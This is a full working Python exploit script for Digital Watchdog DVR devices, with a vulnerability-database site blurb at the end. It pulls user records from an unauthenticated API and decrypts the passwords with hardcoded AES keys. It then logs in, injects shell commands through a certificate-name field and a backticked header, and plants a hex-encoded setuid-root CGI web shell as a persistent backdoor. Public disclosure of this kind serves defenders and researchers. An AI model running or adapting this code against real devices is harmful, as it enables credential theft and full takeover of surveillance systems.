# Exploit Title: Digital Watchdog DVR VMAX/DW-VP/DW-VA unauth credential disclosure and post-auth RCE
# Date: 2026-01-06
# Exploit Author: Christian Inci
# Vendor Homepage: https://digital-watchdog.com/
# Version: various, until latest from 2025
# Tested on: various
#!/usr/bin/env python3
# this file is released because some mirai/kad fork network might use the very same vulnerabilities since a day or so (at least since 2026-03-13)
# support.digital-watchdog.com mentions something about the firmware not having any backdoors, but some things inside it might classify as one.
# they don't accept any "technical support" requests or vulnerability reports without being an active customer of theirs.
# this is very unoptimized, and not even put in classes, like my other files, because who even cares.
# should work for at least:
# VMAXIPPlus/HN-6509/2nd gen DW-VP16xT16P/v1.5.2.4 (latest? from 2022-10-25) (H/W: v8.0.0)
# VMAXA1Plus/DW-VA1P4xT/1.0.1.67 (latest from 2025-06-24)
# VMAXA1G4/DW-VA1G416xT/DW-VA1G4416[sic, according to the download page] 1.0.9.0 (2023-03-03)
# most likely also VMAXA1G4/DW-VA1G416xT/DW-VA1G416 1.0.13.11 (latest from 2025-10-10) if the upgrade would work
import sys, requests, traceback
from Cryptodome.Cipher import AES, PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Util.Padding import pad, unpad
from base64 import b64decode as bd, b64encode as be
from binascii import unhexlify
from random import randbytes, choice, sample
import string
url = sys.argv[1]
cmd = sys.argv[2]
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requestsSession = requests.Session()
headers = {'User-Agent': ''}
data_is_encrypted = False
rsa_pub_key = ''
rsa_session_key = ''
# some oem (most likely focushns) has a yet unknown key, I can't download the firmware file since the download function of their website is broken since months.
keys = [(b'0vMAXsPECTRUMnANUGOcErritos16220',b'dIgItALwATCHdOG3')]
def get_rand(n):
##rnd_key = randbytes(n)
s = string.ascii_letters+string.digits
s *= 10
rnd_key = ''.join(sample(s, n))
return rnd_key
def rsa_decrypt(priv_key, c):
rsa = RSA.import_key(bd(priv_key))
cipher = PKCS1_v1_5.new(rsa)
m = cipher.decrypt(bd(c))
return m
def rsa_encrypt(priv_key, m):
if (isinstance(m, str)):
m = m.encode()
rsa = RSA.import_key(bd(priv_key))
cipher = PKCS1_v1_5.new(rsa)
c = be(cipher.encrypt(m))
return c
def rsa_encrypt_pub(pub_key, m):
if (isinstance(m, str)):
m = m.encode()
rsa = RSA.import_key(bd(pub_key))
cipher = PKCS1_v1_5.new(rsa)
c = be(cipher.encrypt(m))
return c
def do_get(full_url, cookies=None, timeout=60):
resp = None
try:
resp = requestsSession.get(full_url, verify=False, allow_redirects=False, headers=headers, cookies=cookies, timeout=timeout)
except:
traceback.print_exc()
return
return resp
def do_post(full_url, data, cookies=None, timeout=60, getData=True, doJson=True):
resp = None
json = None
if (doJson):
json = data
data = None
try:
resp = requestsSession.post(full_url, json=json, data=data, verify=False, allow_redirects=False, headers=headers, cookies=cookies, timeout=timeout)
if (getData):
resp = resp.json()
except:
traceback.print_exc()
return
return resp
def decode_user(user):
username = user['username']
encrypted_password = user['password']
password = ''
for key in keys:
try:
password = unpad(AES.new(key=key[0],iv=key[1],mode=AES.MODE_CBC).decrypt(bd(encrypted_password)), 16).decode()
break
except:
#pass
traceback.print_exc()
print(user)
continue
print(f'{username}:{password}')
return username, password
def get_rsa(content):
rsa_pub_key = ''
rsa_session_key = ''
lines = content.split(b'\n')
for line in lines:
line_split = line.split(b'"')
if (b'rsa_pub_key' in line_split[0]):
rsa_pub_key = line_split[1].decode()
elif (b'rsa_session_key' in line_split[0]):
rsa_session_key = line_split[1].decode()
return rsa_pub_key, rsa_session_key
def do_login(username, password):
global data_is_encrypted, rsa_pub_key, rsa_session_key
cookies, rsa_pub_key, rsa_session_key = is_login_encrypted()
if (rsa_pub_key and rsa_session_key):
print('Forms are encrypted')
data_is_encrypted = True
do_encrypted_login(username, password)
else:
print('Forms are unencrypted')
data_is_encrypted = False
do_unencrypted_login(username, password)
return cookies
def set_enc_vars(data, pub_key, session_key):
rnd_key = get_rand(64)
enc_key = rsa_encrypt_pub(pub_key, rnd_key)
ses_key = rsa_encrypt_pub(pub_key, session_key)
data.update({"rsa_session":session_key})
data.update({"rnd_key":rnd_key})
data.update({"enc_key":enc_key})
data.update({"ses_key":ses_key})
def is_login_encrypted():
login_resp = do_get(f'{url}/cgi-bin/login.cgi')
cookies = login_resp.cookies
#print(login_resp.content)
rsa_pub_key, rsa_session_key = get_rsa(login_resp.content)
return cookies, rsa_pub_key, rsa_session_key
def do_unencrypted_login(username, password):
login_resp = do_post(f'{url}/cgi-bin/login_proc.cgi', {"login_os":"win","login_type":"1","login_id":username,"login_pwd": password}, getData=False, doJson=False)
print(login_resp.headers)
print(login_resp.content)
location = login_resp.headers.get('Location', '')
if ((login_resp.status_code == 302 and 'login.cgi?arg=' in location) or b'login.cgi?arg=' in login_resp.content):
print(f'login error: {location}')
#pass
exit(1)
cookies = login_resp.cookies
return cookies
def do_encrypted_login(username, password):
data = {"login_os":"win","login_type":"1","login_id":username,"login_pwd": password}
data.update({"login_type":rsa_encrypt_pub(rsa_pub_key, data["login_type"])})
data.update({"enc_uid":rsa_encrypt_pub(rsa_pub_key, data["login_id"])})
data.update({"enc_upwd":rsa_encrypt_pub(rsa_pub_key, data["login_pwd"])})
data.update({"login_id":''})
data.update({"login_pwd":''})
set_enc_vars(data, rsa_pub_key, rsa_session_key)
login_resp = do_post(f'{url}/cgi-bin/login_proc.cgi', data, getData=False, doJson=False)
print(login_resp.headers)
print(login_resp.content)
location = login_resp.headers.get('Location', '')
if ((login_resp.status_code == 302 and 'login.cgi?arg=' in location) or b'login.cgi?arg=' in login_resp.content):
print(f'login error: {location}')
#pass
exit(1)
cookies = login_resp.cookies
return cookies
def do_unencrypted_rce(cookies, cmd, cmd2=''):
print(cookies)
category = "setup_network_https_cert_view"
cert_name = f'a # \n {cmd} #'
if (cmd2):
headers['abcdef']=f'ghi`{cmd2}`jkl'
data = {"category":category,"cert_name":cert_name}
resp = do_post(f'{url}/cgi-bin/update_save.cgi', data, cookies=cookies, getData=False, doJson=False).text
print(resp)
def do_encrypted_rce(cookies, cmd, cmd2=''):
print(cookies)
category = "setup_network_https_cert_view"
cert_name = f'a" # \n {cmd} # "'
if (cmd2):
#cert_name = f'a" # \n id \n {cmd} # "'
headers['abcdef']=f'ghi`{cmd2}`jkl'
data = {"category":category,"cert_name":cert_name}
set_enc_vars(data, rsa_pub_key, rsa_session_key)
# cert_name is NOT encrypted!!
data.update({"category":rsa_encrypt_pub(rsa_pub_key, data["category"])})
resp = do_post(f'{url}/cgi-bin/update_save.cgi', data, cookies=cookies, getData=False, doJson=False).text
print(resp)
def do_rce(cookies, cmd, cmd2=''):
if (data_is_encrypted):
do_encrypted_rce(cookies, cmd, cmd2)
else:
do_unencrypted_rce(cookies, cmd, cmd2)
def do_backdoor(cookies):
tmpdir = '/dev/'
cmd = f'cp /proc/self/environ {tmpdir}/.e0 # \n sed -i "a " {tmpdir}/.e0 # \n cat {tmpdir}/.e0 # \n sh {tmpdir}/.e0 # \n mount -o remount,ro / # \n mount # \n rm {tmpdir}/.e0 #'
filename = '/dev/.go000.cgi'
# not all versions include base64
cmd2 = f"rm -f {filename} ; echo -ne '\\x23\\x21\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x65\\x63\\x68\\x6f\\x20\\x2d\\x6e\\x65\\x20\\x22\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x54\\x79\\x70\\x65\\x3a\\x20\\x74\\x65\\x78\\x74\\x2f\\x70\\x6c\\x61\\x69\\x6e\\x5c\\x72\\x5c\\x6e\\x5c\\x72\\x5c\\x6e\\x22\\x0a\\x63\\x61\\x74\\x20\\x7c\\x20\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x32\\x3e\\x26\\x31\\x0a' > {filename} ; chmod 6755 {filename} ; chown 0:0 {filename} ; mount -o bind {filename} /var/www/cgi-bin/setup_network_https_cert_upload_pkcs12.cgi"
do_rce(cookies, cmd, cmd2)
def get_param_id_mac():
device_info = do_post(f'{url}/api/publicCmd', {"command":"getDeviceInfo"})
if (not device_info):
print('not device_info')
exit(1)
param_id = device_info['reply']['id']
param_mac = device_info['reply']['mac']
return param_id, param_mac
def get_ddns(param_id, param_mac):
general_ddns = do_post(f'{url}/api/publicCmd', {"command":"setup/general/system"})
if (not general_ddns):
print('not general_ddns')
exit(1)
print(general_ddns)
#users = general_ddns['reply']['users']
#return users
def get_users(param_id, param_mac):
general_user = do_post(f'{url}/api/publicCmd', {"method":"get","command":"setup/general/user","id":param_id,"mac": param_mac})
if (not general_user):
print('not general_user')
exit(1)
#print(general_user)
users = general_user['reply']['users']
return users
def run():
#cookies = do_login('admin', 'global')
#rsa_decrypt()
#do_rce(cookies, cmd)
#do_backdoor(cookies)
#return
param_id, param_mac = get_param_id_mac()
#get_ddns(param_id, param_mac)
#return
users = get_users(param_id, param_mac)
for user in users:
username, password = decode_user(user)
print(username, password)
#return
for user in users:
#for user in users[0:1]:
username, password = decode_user(user)
cookies = do_login(username, password)
#do_rce(cookies, cmd)
do_backdoor(cookies)
#
#
run()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation